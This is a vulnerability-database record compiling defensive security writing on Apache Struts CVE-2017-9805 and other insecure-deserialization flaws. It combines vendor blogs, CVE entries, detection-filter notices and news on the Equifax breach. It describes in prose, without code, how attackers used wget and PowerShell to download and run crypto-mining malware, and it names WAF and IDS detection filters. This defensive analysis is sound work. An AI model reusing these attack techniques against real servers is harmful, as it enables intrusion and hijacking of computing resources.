writing web/mobile/API-based applications. Digital transformation means more apps. More apps mean more use of frameworks like Struts. Which means more technical surface area exposed to attackers. This illustrates why \u201cjust reduce surface area\u201d alone isn\u2019t a strategy. Less surface area means less apps, which would mean less digital transformation itself. Given the perceived cost and revenue-side business benefits of digital transformation, this is not likely to happen.\n\nStruts, and other similar frameworks, basically enable developers to write Java apps faster. Struts has been around, in one form or another, since 2000. The current framework \u2013 [Apache Struts 2](<https://en.wikipedia.org/wiki/Apache_Struts_2>) \u2013 was initially released in 2007. Some estimate it is used by 65 percent of the Fortune 500.\n\nOur [research team](<https://www.imperva.com/DefenseCenter>) \u2013 which is the same team that releases our WAF signatures/virtual patches for known vulnerabilities \u2013 collected the following stats on Struts:\n\n * 75 published security vulnerabilities to date\n * 83% of the vulnerabilities can be accessed via a remote attacker (i.e., via network)\n * 75% of the vulnerabilities have working exploits\n * 35% of the vulnerabilities may allow remote code execution (RCE) attacks\n\n### What is RCE?\n\n[RCE](<https://www.imperva.com/blog/2017/01/remote-code-execution-rce-attacks-apache-struts/>) is nasty. IMHO, nastier than the more famous/infamous application vulnerability [SQL injection](<https://www.imperva.com/app-security/threatglossary/sql-injection/>). RCE, or remote code execution, allows an attacker to replace the parameters normally submitted as part of an API call with malicious code. Crafted carefully, this malicious code will then execute on the server. What this malicious code does is up to the attacker. Given that web apps frequently access back-end data stores, the potential for a RCE vulnerability to be exploited to breach data is apparent.\n\nIn 2017, there have been four different Apache Struts RCE vulnerabilities:\n\n * CVE-2017-12611\n * [CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>)\n * [CVE-2017-9791](<https://www.imperva.com/blog/2017/07/cve-2017-9791-rce-in-struts-showcase-app-in-struts-1-plugin/>)\n * [CVE-2017-5638](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>)\n\nA close look at these shows several strategies for both reactively and proactively protecting application surface area. These certainly apply to Apache Struts, but also to most application frameworks.\n\n## Ways to Protect Application Surface Area\n\n### Patch Servers\n\nThe long-term fix for a vulnerability is to patch the servers. However, rolling out a patch across thousands of servers running hundreds of different apps owned by tens of different app teams is a not a trivial task. It can take months. Which is why most servers aren\u2019t at current patch levels.\n\nThere is another bit of nastiness around patching as well. Sometimes patches aren\u2019t backwards compatible. [CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>) contains this: _\u201cIt is possible that some REST actions stop working because of applied default restrictions on available classes.\u201d _In layman\u2019s terms, this means applying the patch can break an existing app. This gets to the heart of why security is risk management: deciding to apply a patch prior to testing a patch with all apps runs the risk of breaking the apps (a.k.a., \u201cpotentially bringing down a website\u201d).\n\n### Virtual Patching\n\nA virtual patch uses a gateway (WAF, IDS, network firewall) that monitors traffic to identify and block an attack before it reaches a web server. _Note, not all types of security gateways can apply a virtual patch to all types of vulnerabilities. _\n\nFor Struts CVE-2017-9805, Imperva used the [ThreatRadar](<https://www.imperva.com/Products/ThreatRadarSubscriptions>) Emergency Feed to distribute a signature and a corresponding virtual patch to SecureSphere Web Application Firewall users within 48 hours of the CVE\u2019s disclosure. Emergency Feed is an opt-in service that leverages the communication channel between SecureSphere and the Imperva cloud to automatically distribute signatures and associated policies to mitigate highly critical vulnerabilities. This in effect automatically deploys a virtual patch for the vulnerability. A policy accomplishing the same thing was uploaded to Incapsula in the same timeframe, accomplishing the same thing for any Incapsula WAF customers.\n\nVirtual patches for known CVEs are useful, but they are reactive. They are predicated upon knowing about a vulnerability in the first place. There is no (despite what some may say) general signature that spans all RCEs. The following are proactive defenses that can be used to protect against application vulnerabilities (RCE and otherwise).\n\n### Reputation-based Blocking\n\nThe vast majority of attacks launched against web app frameworks are automated. For example, for [CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>), 40% of the attacks tracked by our research team originated from a single server in China. There is no reason for any traffic from any source like this to be reaching web servers. Imperva ThreatRadar IP Reputation can be set to fetch the latest IP Reputation feeds several times an hour. While this won\u2019t catch every instance of an attack, it is an excellent filter that will proactively block a large portion of the automated attacks that target web apps.\n\n### Anti-automation\n\nIP reputation isn\u2019t the only mechanism for stopping automated attacks. Both SecureSphere and Incapsula provide functionality for identifying and blocking bots, regardless of the bot\u2019s intent. Both use the same underlying technology to progressively profile a request to determine if the request is a human or a bot, and if a bot a good bot or a bad bot. Identifying and blocking requests from bad bots is another technique for scrubbing automated attacks targeting web apps.\n\n### Web Application Firewall Zero Day Protections\n\nReputation and anti-automation are extremely effective at filtering automated attacks from bad actors, but a careful attacker will be able to mask itself, especially when focusing upon a specific app or enterprise.\n\nHowever, to exploit an RCE vulnerability in every case the attacker needs to send the malicious code \u2013 the \u201cpayload\u201d \u2013 to the app in question. This payload will look wildly different from the typical content (e.g., an API call) submitted to an app. By learning what payloads are normally submitted via various form submissions and API calls, a solid WAF can prevent something like CVE-2017-9805 without knowing the vulnerability exists, and without ever seeing the payload before. The SecureSphere WAF uses machine learning to understand how an application normally behaves, and then uses it to identify and block anomalous requests.\n\nImperva zero day protections identified Apache Struts exploits almost immediately via a few different mechanisms:\n\n * Upon learning of a vulnerability, attackers will frequently \u201cspray and pray\u201d an attack against numerous apps, and various forms/APIs within an app. Given automation, its more cost effective for them to just broadly launch an attack than it is first determine if an app/API is even vulnerable. We saw this for CVE-2017-9805 almost immediately, identifying it a \u201cunknown content type for known URL\u201d. In English, this translates to \u201cnot only is this not normal, it isn\u2019t even content that this URL can process.\u201d These kinds of alerts are an early \u201ctell\u201d that something is afoot, and our research team uses them as both an early indicator, as well as to inform our ThreatRadar threat intelligence feeds.\n * If the app is susceptible to the vulnerability, a malicious payload will still not conform to normal application traffic. In the case of CVE-2017-9805, SecureSphere will identify an \u201cunknown parameter\u201d or \u201cparameter type violation.\u201d\n * In most cases, the payload is much larger/longer than a normal request. In these cases, a \u201cparameter length violation\u201d will surface.\n\n## The Role of App Security Domain Expertise\n\nWhat only someone who lives and breathes this stuff on a day-in/day-out basis knows is that any one of these violations by themselves isn\u2019t necessarily an attack. Policies built on evaluating any of this in isolation can result in a high rate of false positives. False positives are the bane of IT security\u2019s existence, _because when looking at a screen full of alerts, you don\u2019t know which ones are false and which aren\u2019t. _The net effect is ignoring them all.\n\nSecureSphere WAF has [patented capabilities](<https://www.imperva.com/Products/AdvancedTechnologies>) that evaluate the relationships between multiple violations. This ability to analyze seemingly independent violations coming from different layers of the app stack (e.g., network protocol, parameter length, IP reputation, etc.) together greatly enhances accuracy. This not only minimizes false positives, but more importantly provides the confidence to actually _block_ requests.\n\n## Manage Business Risk, Protect Against App Exploits\n\nAccording to the [2017 Verizon Data Breach Investigation Report](<http://www.verizonenterprise.com/verizon-insights-lab/dbir/2017/>) more successful breaches resulted from attacks on web apps than any other type of attack. This is telling since web app attacks are only number four in terms of incident frequency.\n\nAttackers realize that web app frameworks like Struts (and all frameworks have security issues) are particularly attractive targets. Since they are used for public facing web apps, they can\u2019t be hidden behind layers of network security. Their role is to accept inputs (web form parameters, API calls, etc.) and then process these inputs, which directly maps to particularly dangerous exploits like SQL injection and RCE. Since frameworks are widely adopted, attackers automate their attacks so they can cost effectively leverage their effort across thousands of websites.\n\nBusiness will roll out more application functionality. The cost savings and revenue generating opportunities from digital transformation pretty much guarantee we\u2019ll have more app surface area next year than this year.

In doing so, we\u2019ve noticed at least four major insecure deserialization vulnerabilities that were published in the past year.\n\nOur analysis shows that, in the past three months, the number of deserialization attacks has grown by 300 percent on average, turning them into a serious security risk to web applications.\n\nTo make things worse, many of these attacks are now launched with the intent of installing crypto-mining malware on vulnerable web servers, which gridlocks their CPU usage.\n\nIn this blog post we will explain what insecure deserialization vulnerabilities are, show the growing trend of attacks exploiting these vulnerabilities and explain what attackers do to exploit them (including real-life attack examples).\n\n## What Is Serialization?\n\nThe process of serialization converts a \u201clive\u201d object (structure and/or state), like a Java object, into a format that can be sent over the network, or stored in memory or on disk. Deserialization converts the format back into a \u201clive\u201d object.\n\nThe purpose of serialization is to preserve an object, meaning that the object will exist outside the lifetime of the local machine on which it is created.\n\nFor example, when withdrawing money from an ATM, the information of the account holder and the required operation is stored in a local object. Before this object is sent to the main server, it is serialized in order to perform and approve the needed operations. The server then deserializes the object to complete the operation.\n\n## Types of Serialization\n\nThere are many types of [serialization](<https://en.wikipedia.org/wiki/Serialization#Serialization_formats>) available, depending on the object which is being serialized and on the purpose. Almost all modern programming languages support serialization. In Java for example an object is converted into a compact representation using byte stream, and the byte stream can then be reverted back into a copy of that object.\n\nOther types of serialization include converting an object into a hierarchical format like JSON or XML. The advantage of this serialization is that the serialized objects can be read as plain text, instead of a byte stream.\n\n## Deserialization Vulnerabilities from the Past Three Months\n\nIn the [OWASP top 10 security risks of 2017](<https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf>) insecure deserialization came in at [eighth place](<https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization>) and rightfully so as we argued in our [previous blog](<https://www.imperva.com/blog/2017/12/the-state-of-web-application-vulnerabilities-in-2017/>) about the state of web application vulnerabilities in 2017.\n\nIn 2017, major new vulnerabilities related to insecure serialization, mostly in Java, were published (see Figure 1).\n\n**Name** | **Release Date (Day/Month/Year)** | **Vulnerability details** \n---|---|--- \nCVE-2017-12149 | 01/08/2017 | Vulnerability in the JBoss Application Server allows execution of arbitrary code via crafted serialized data because the HTTP Invoker does not restrict classes for which it performs deserialization \nCVE-2017-10271 | 21/06/2017 | Vulnerability in the Oracle WebLogic Server allows execution of arbitrary code due to insufficient sanitizing of user supplied inputs in the wls-wsat component \nCVE-2017-9805\n\n | 21/06/2017 | The REST Plugin in Apache Struts uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to remote code execution when deserializing XML payloads. \nCVE-2017-7504 | 05/04/2017 | The HTTPServerILServlet.java in JMS allows remote attackers to execute arbitrary code via crafted serialized data because it does not restrict the classes for which it performs deserialization \n \n_Figure 1: CVEs related to insecure deserialization_\n\nIn order to understand the magnitude of these vulnerabilities, we analyzed attacks from the past three months (October to December of 2017) that try to exploit insecure deserialization. A key observation is the _steep_ increase of deserialization attacks in the past few months, as can be seen in the Figure 2.\n\n \n_Figure 2: Insecure deserialization attacks over the course of three months_\n\nMost of the attackers used no attack vectors other than insecure deserialization. We noticed that each attacker was trying to exploit different vulnerabilities, with the above-mentioned CVEs being the most prevalent.\n\nFor a full list of CVEs related to insecure deserialization from the past few years see Figure 3.\n\n**Name** | **Relevant System** | **Public Exploit** | **Name** | **Relevant System** | **Public Exploit** \n---|---|---|---|---|--- \nCVE-2017-9844 | SAP NetWeaver | Yes | CVE-2016-2170 | Apache OFBiz | No \nCVE-2017-9830 | Code42 CrashPlan | No | CVE-2016-2003 | HP P9000, XP7 Command View Advanced Edition (CVAE) Suite | No \nCVE-2017-9805 | Apache Struts | Yes | CVE-2016-2000 | HP Asset Manager | No \nCVE-2017-7504 | Red Hat JBoss | Yes | CVE-2016-1999 | HP Release Control | No \nCVE-2017-5878 | Apache OpenMeetings | Yes | CVE-2016-1998 | HP Service Manager | No \nCVE-2017-5645 | Apache Log4j | No | CVE-2016-1997 | HP Operations Orchestration | No \nCVE-2017-5641 | Apache BlazeDS | Yes | CVE-2016-1986 | HP Continuous Delivery Automation | No \nCVE-2017-5586 | OpenText Documentum D2 | Yes | CVE-2016-1985 | HP Operations Manager | No \nCVE-2017-3159 | Apache Camel | Yes | CVE-2016-1487 | Lexmark Markvision Enterprise | No \nCVE-2017-3066 | Adobe ColdFusion | Yes | CVE-2016-1291 | Cisco Prime Infrastructure | Yes \nCVE-2017-2608 | Jenkins | Yes | CVE-2016-0958 | Adobe Experience Manager | No \nCVE-2017-12149 | Red Hat JBoss | Yes | CVE-2016-0788 | Jenkins | Yes \nCVE-2017-11284 | Adobe ColdFusion | No | CVE-2016-0779 | Apache TomEE | No \nCVE-2017-11283 | Adobe ColdFusion | No | CVE-2016-0714 | Apache Tomcat | No \nCVE-2017-1000353 | CloudBees Jenkins | Yes | CVE-2015-8765 | McAfee ePolicy Orchestrator | No \nCVE-2016-9606 | Resteasy | Yes | CVE-2015-8581 | Apache TomEE | No \nCVE-2016-9299 | Jenkins | Yes | CVE-2015-8545 | NetApp | No \nCVE-2016-8749 | Jackson (JSON) | Yes | CVE-2015-8360 | Atlassian Bamboo | No \nCVE-2016-8744 | Apache Brooklyn | Yes | CVE-2015-8238 | Unify OpenScape | No \nCVE-2016-8735 | Apache Tomcat JMX | Yes | CVE-2015-8237 | Unify OpenScape | No \nCVE-2016-7462 | VMWare vRealize Operations | No | CVE-2015-8103 | Jenkins | Yes \nCVE-2016-6809 | Apache Tika | No | CVE-2015-7501 | Red Hat JBoss | Yes \nCVE-2016-5229 | Atlassian Bamboo | Yes | CVE-2015-7501 | Oracle Application Testing Suite | No \nCVE-2016-5004 | Apache Archiva | Yes | CVE-2015-7450 | IBM Websphere | Yes \nCVE-2016-4385 | HP Network Automation | No | CVE-2015-7253 | Commvault Edge Server | Yes \nCVE-2016-4372 | HP iMC | No | CVE-2015-6934 | VMWare vCenter/vRealize | No \nCVE-2016-3642 | Solarwinds Virtualization Manager | Yes | CVE-2015-6576 | Atlassian Bamboo | No \nCVE-2016-3461 | Oracle MySQL Enterprise Monitor | Yes | CVE-2015-6555 | Symantec Endpoint Protection Manager | Yes \nCVE-2016-3427 | JMX | Yes | CVE-2015-6420 | Cisco (various frameworks) | No \nCVE-2016-3415 | Zimbra Collaboration | No | CVE-2015-5348 | Apache Camel | No \nCVE-2016-2510 | Red Hat JBoss BPM Suite | No | CVE-2015-5254 | Apache ActiveMQ | No \nCVE-2016-2173 | Spring AMPQ | No | CVE-2015-4852 | Oracle WebLogic | Yes \nCVE-2016-2170 | Apache OFBiz | No | CVE-2015-3253 | Jenkins | Yes \nCVE-2016-2003 | HP P9000, XP7 Command View Advanced Edition (CVAE) Suite | No | CVE-2012-4858 | IBM Congnos BI | No \n \n_Figure 3: CVEs related to insecure deserialization_\n\n## Deserialization Attacks in the Wild\n\nMost of the attacks that we saw are related to byte-stream serialization of Java objects. Also, we saw some attacks related to serialization to XML and other formats, see Figure 4.\n\n \n_Figure 4: Distribution of vulnerabilities over different serialization formats_\n\nIn the following attack (see Figure 5) the attacker is trying to exploit CVE-2017-10271. The payload is sent in the HTTP request\u2019s body using a serialized Java object through XML representation.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/01/Attack-vector-containing-serialized-java-array-into-XML-fig-5.png>)\n\n_Figure 5: Attack vector containing a serialized java array into an XML_\n\nThe fact that this is a Java array can be seen by the hierarchical structure of the parameters, with the suffix of **\u201cjava/void/array/void/string\u201d**. The attacker is trying to run a bash script on the attacked server.\n\nThis bash script tries to send an HTTP request using \u201cwget\u201d OS command, download a shell script disguised as a picture file (note the jpg file extension) and run it. Few interesting notes can be made examining this command:\n\n * The existence of shell and \u201cwget\u201d commands indicate that this payload is targeting Linux systems\n * Using a picture file extension is usually done to evade security controls\n * The **\u201c-q\u201d** parameter to \u201cwget\u201d stands for \u201cquiet\u201d, this means that \u201cwget\u201d will have no output to the console, hence it will be harder to note that such a request was even made. Once the downloaded script runs the server is infected with a crypto mining malware trying to mine Monero digital coins (a crypto currency similar to Bitcoin).\n\nThe next script (see Figure 6) tries to exploit the same vulnerability, but this time the payload is targeting Windows servers using cmd.exe and Powershell commands to download the malware and run it.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/01/Attack-vector-infect-Windows-server-with-crypto-mining-malware-fig-6.png>)\n\n_Figure 6: Attack vector trying to infect Windows server with crypto mining malware_\n\nThis indicates that there are two different infection methods for Windows and Linux server, each system with its designated script.\n\nAnother example is the following payload (Figure 7) that we pulled from an attack trying to exploit a [deserialization vulnerability](<http://seclists.org/oss-sec/2016/q1/461>) with a Java serialized object.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/01/Attack-vector-containing-java-serialized-object.jpg>)\n\n_Figure 7: Attack vector containing a Java serialized object trying to download a crypto miner_\n\nThe \u201cbad\u201d encoding is an artifact of Java serialization, where the object is represented in the byte stream.\n\nStill, we can see a script in plain text marked in yellow. Shown as an image below is a variable that defines an internal field separator, where in this case it is just a variable for space. The variable is probably used instead of a space to try to make the payload harder to detect.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/01/insert-into-paragraph.jpg>)\n\nJust as in the previous examples, this Bash script targets Linux servers that send an HTTP request using \u201cwget\u201d to download a crypto miner.\n\n## Beyond Insecure Deserialization\n\nThe common denominator of the attacks above is that attackers are trying to infect the server with a crypto mining malware by using an insecure deserialization vulnerability. However insecure deserialization is not the only method to achieve this goal.\n\nBelow (Figure 8) we see an example of another attack payload, this time at the \u201cContent-Type\u201d header.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/01/Attack-vector-using-RCE-vulnerability-of-Apache-Struts-fig-8.jpg>)\n\n_Figure 8: Attack vector using an RCE vulnerability of Apache Struts_\n\nThis attack tries to exploit **CVE-2017-5638**, a well-known RCE vulnerability related to Apache Struts which was published in March 2017 and was covered in a [previous blog post](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>).\n\nWhen it was originally published we saw no indications of crypto miners in the attacks\u2019 payloads related to this CVE, and most of the payloads were reconnaissance attacks.\n\nHowever, in this attack the payload (marked in yellow above) is very similar to the payload from the previous example. Using the same remote server and the exact same script, it infected the server with crypto mining malware.\n\nThis old attack method with a new payload suggests a new trend in the cyber arena \u2013 attackers try to exploit RCE vulnerabilities, new and old, to turn vulnerable servers into crypto miners and get a faster ROI for their \u201ceffort\u201d.\n\n## Recommendations\n\nGiven the many new vulnerabilities related to insecure deserialization that were discovered this year, and its appearance in the OWASP top 10 security risks, we expect to see newer related vulnerabilities released in 2018. In the meantime, organizations using affected servers are advised to use the latest patch to mitigate these vulnerabilities.\n\nAn alternative to manual patching is virtual patching. Virtual patching actively protects web applications from attacks, reducing the window of exposure and decreasing the cost of emergency patches and fix cycles.\n\nA WAF that provides virtual patching doesn\u2019t interfere with the normal application workflow, and keeps the site protected while allowing the site owners to control the patching process timeline.\n\nLearn more about how to protect your web applications from vulnerabilities with [Imperva WAF solutions](<https://www.imperva.com/products/application-security/web-application-firewall-waf/>).", "edition": 2, "cvss3": {}, "published": "2018-01-24T17:45:08", "type": "impervablog", "title": "Deserialization Attacks Surge Motivated by Illegal Crypto-mining", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-4858", "CVE-2015-3253", "CVE-2015-4852", "CVE-2015-5254", "CVE-2015-5348", "CVE-2015-6420", "CVE-2015-6555", "CVE-2015-6576", "CVE-2015-6934", "CVE-2015-7253", "CVE-2015-7450", "CVE-2015-7501", "CVE-2015-8103", "CVE-2015-8237", "CVE-2015-8238", "CVE-2015-8360", "CVE-2015-8545", "CVE-2015-8581", "CVE-2015-8765", "CVE-2016-0714", "CVE-2016-0779", "CVE-2016-0788", "CVE-2016-0958", "CVE-2016-1291", "CVE-2016-1487", "CVE-2016-1985", "CVE-2016-1986", "CVE-2016-1997", "CVE-2016-1998", "CVE-2016-1999", "CVE-2016-2000", "CVE-2016-2003", "CVE-2016-2170", "CVE-2016-2173", "CVE-2016-2510", "CVE-2016-3415", "CVE-2016-3427", "CVE-2016-3461", "CVE-2016-3642", "CVE-2016-4372", "CVE-2016-4385", "CVE-2016-5004", "CVE-2016-5229", "CVE-2016-6809", "CVE-2016-7462", "CVE-2016-8735", "CVE-2016-8744", "CVE-2016-8749", "CVE-2016-9299", "CVE-2016-9606", "CVE-2017-1000353", "CVE-2017-10271", "CVE-2017-11283", "CVE-2017-11284", "CVE-2017-12149", "CVE-2017-2608", "CVE-2017-3066", "CVE-2017-3159", "CVE-2017-5586", "CVE-2017-5638", "CVE-2017-5641", "CVE-2017-5645", "CVE-2017-5878", "CVE-2017-7504", "CVE-2017-9805", "CVE-2017-9830", "CVE-2017-9844"], "modified": "2018-01-24T17:45:08", "id": "IMPERVABLOG:4F187FDBA230373382F26BA12E00F8E7", "href": "https://www.imperva.com/blog/2018/01/deserialization-attacks-surge-motivated-by-illegal-crypto-mining/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "ubuntucve": [{"lastseen": "2022-08-04T13:57:17", "description": "The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and\n2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for\ndeserialization without any type filtering, which can lead to Remote Code\nExecution when deserializing XML payloads.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-09-15T00:00:00", "type": "ubuntucve", "title": "CVE-2017-9805", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9805"], "modified": "2017-09-15T00:00:00", "id": "UB:CVE-2017-9805", "href": "https://ubuntu.com/security/CVE-2017-9805", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "nessus": [{"lastseen": "2023-01-11T14:34:10", "description": "The remote web application appears to use the Apache Struts 2 web framework.

The vulnerability, CVE-2017-9805, affects all versions of Struts since 2008 and all applications using the framework\u2019s REST plugin are vulnerable. Trend Micro has released DVToolkit CSW file CVE-2017-9805.csw for the Apache Struts 2 Vulnerability to customers using TippingPoint solutions. The CSW file includes the following filters:\n\n \n\n**Filter C000001: HTTP: Apache Struts 2 XStreamHandler Command Injection Vulnerability **\n\nThis filter detects an attempt to exploit a command injection vulnerability in Apache Struts 2. The specific flaw exists due to a failure to properly validate requests sent to the REST plugin with the XStream handler. An attacker can leverage this vulnerability to execute code under the context of the application. _Note: This filter will be obsoleted by MainlineDV filter 29580._\n\n**Filter C000002: HTTP: Apache Struts 2 XStreamHandler Suspicious XML Command Usage**\n\nThis filter detects usage of suspicious XML objects. Apache Struts 2 is known to be vulnerable to command injection flaws when the REST plugin is used with the XStream handler. While not inherently malicious the serialized data can be used for command injection. _Note: This filter will be obsoleted by MainlineDV filter 29572._\n\nReferences:\n\n| \n\n * Common Vulnerabilities and Exposures: <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805>\n * SecurityFocus BugTraq ID: <http://www.securityfocus.com/bid/100609>\n * Vendor Advisory: <http://struts.apache.org/docs/s2-052.html> \n---|--- \n| \n \nCustomers who need the latest DVToolkit filters can visit the Threat Management Center (TMC) website at https://tmc.tippingpoint.com and navigate to Releases \u2192 CSW Files.

Because there is no type filtering, a remote, unauthenticated attacker may send a specially crafted XML payload to execute arbitrary code in the context of the Struts application. \n \nRefer to the researcher's [blog post](<https://lgtm.com/blog/apache_struts_CVE-2017-9805>) for more information about this vulnerability. A [Metasploit module](<https://github.com/rapid7/metasploit-framework/pull/8924/files>) with exploit code is publicly available. \n \n--- \n \n### Impact\n\nA remote, unauthenticated attacker may send a specially crafted XML payload to execute arbitrary code on vulnerable servers in the context of the Struts application. \n \n--- \n \n### Solution\n\n**Apply an update** \n \nThe vendor has released version 2.5.13 to address this vulnerability. No workaround is possible [according to the vendor](<https://struts.apache.org/docs/s2-052.html>), so patching is strongly recommended. \n \n--- \n \n**Remove or limit the REST plugin** \n \nIf it is not used, consider removing the REST plugin. Per the vendor, it is also possible to limit its functionality to normal server pages or JSON with the following configuration change in `struts.xml`: \n \n`<constant name=\"struts.action.extension\" value=\"xhtml,,json\" />` \n \n--- \n \n### Vendor Information\n\n112992\n\nFilter by status: All Affected Not Affected Unknown\n\nFilter by content: __ Additional information available\n\n__ Sort by: Status Alphabetical\n\nExpand all\n\n**Javascript is disabled.

culprit behind [last week\u2019s Equifax breach](<https://threatpost.com/equifax-says-breach-affects-143-million-americans/127880/>), took umbrage with those claims over the weekend.\n\nRen\u00e9 Gielen, vice president of the Apache Struts Project Management Committee (PMC) at the Apache Software Foundation, wrote Saturday that if Struts was targeted, it\u2019s unclear which vulnerability, if any was exploited.\n\n[The letter,](<https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax>) which was written on behalf of the Struts PMC, was spurred by an internal analyst report published last week that suggested data from Equifax\u2019s servers was breached via an unnamed Apache Struts flaw.\n\nThe report penned by Jeffrey Meuler, a senior research analyst with Baird Equity Research, the research arm of the financial services firm Robert W. Baird &amp; Co, did not provide a source for the finding. Meuler did not immediately return a request for further comment when contacted on Monday.\n\nGielen\u2019s letter took particular issue with a Quartz.com article that initially alleged CVE-2017-9805, a critical remote code execution vulnerability that the ASF [patched last Tuesday](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>), was the Struts vulnerability to blame for the breach of 143 million Americans\u2019 records. The [Quartz article](<https://qz.com/1073221/the-hackers-who-broke-into-equifax-exploited-a-nine-year-old-security-flaw/>) \u2013 since edited \u2013 initially claimed that CVE-2017-9805 had existed in the wild for nine years, something Gielen had a hard time buying. Gielen said Saturday that since the breach was detected back in July, it\u2019s likely the Equifax attackers either used an unknown Struts zero day or an earlier announced vulnerability on an unpatched Equifax server.\n\nGielen says the ASF takes \u201cenormous efforts\u201d to secure software it produces, like Struts, and makes a conscious effort to hold back sensitive information around vulnerabilities. There is no silver bullet for preventing exploits from surfacing in the wild however.\n\n\u201cSince vulnerability detection and exploitation has become a professional business, it is and always will be likely that attacks will occur even before we fully disclose the attack vectors, by reverse engineering the code that fixes the vulnerability in question or by scanning for yet unknown vulnerabilities.\u201d\n\nIf the attackers had used CVE-2017-9805, it would have been considered a zero day at the time, but according to Gielen, the Apache PMC was only recently notified of the vulnerability \u2013 something it quickly remedied.\n\n\u201cWe were notified just recently on how a certain piece of code can be misused, and we fixed this ASAP,\u201d Gielen said, \u201cWhat we saw here is common software engineering business \u2014 people write code for achieving a desired function, but may not be aware of undesired side-effects. Once this awareness is reached, we as well as hopefully all other library and framework maintainers put high efforts into removing the side-effects as soon as possible. It\u2019s probably fair to say that we met this goal pretty well in case of CVE-2017-9805.\u201d\n\nGielen concluded his letter with a series of best practices for businesses who use Apache Struts to follow, including being aware which framework/libraries are used in their setup, that processes to roll out security fixes are established, and perhaps most importantly, to understand that complex software can contain flaws.\n\nAn Apache spokeswoman [told Reuters on Friday](<https://www.reuters.com/article/us-equifax-cyber/criticism-of-equifax-data-breach-response-mounts-shares-tumble-idUSKCN1BJ1NF>) that it appeared Equifax had not applied patches for flaws discovered this year.\n\nIt\u2019s unclear exactly which vulnerability the spokeswoman was referring to. The Struts vulnerability fixed last week affected all web apps that used the framework\u2019s REST plugin. Another Struts vulnerability, CVE-2017-5638, was publicized and incorporated into Metasploit [in March](<https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/>). That flaw stemmed from Struts\u2019 Jakarta Multipart parser upload functionality and allowed an attacker to execute requests to an Apache webserver. Researchers with Cisco Talos, [who found the bug](<http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>), said it was being exploited in the wild when it was disclosed.\n\nResearchers with Contrast Security posit it\u2019s more likely the attacker used CVE-2017-5638, an expression language injection vulnerability leveraged via the content-type header, to hit Equifax.\n\n\u201cThe first vulnerability from March seems much more likely because it\u2019s easier to exploit and much better known. It also fits the timeline better, since it was released months before Equifax was attacked in July,\u201d Jeff Williams, Contrast\u2019s co-founder and chief technology officer, [wrote Saturday](<https://www.contrastsecurity.com/security-influencers/a-week-of-web-application-hacks-and-vulnerabilities>).\n\nWilliams echoed a few sentiments made by Gielen, including the fact that maintaining the security of libraries can be tricky but should remain a focus for businesses.\n\n\u201cKeeping libraries up to date isn\u2019t a small amount of work, as these changes come out frequently. Often these changes require rewriting, retesting, and redeploying the application, which can take months. I have recently talked with several large organizations that took over four months to deal with CVE-2017-5638,\u201d Williams said.\n\nEquifax, which has yet to respond to a request for comment for this article or [previous](<https://threatpost.com/equifax-says-breach-affects-143-million-americans/127880/>) [articles](<https://threatpost.com/many-questions-few-answers-for-equifax-breach-victims/127886/>), remains in damage control mode.\n\nThe company on Monday said it would be changing how it generates PINs for customers who want to initiate a security freeze on their accounts. The response was presumably in response to a series of tweets that went viral on Friday night calling out Equifax for using hardcoded PINs that mirrored the date and time they were requested, a format the company allegedly has followed for more than a decade.\n\n> OMG, Equifax security freeze PINs are worse than I thought. If you froze 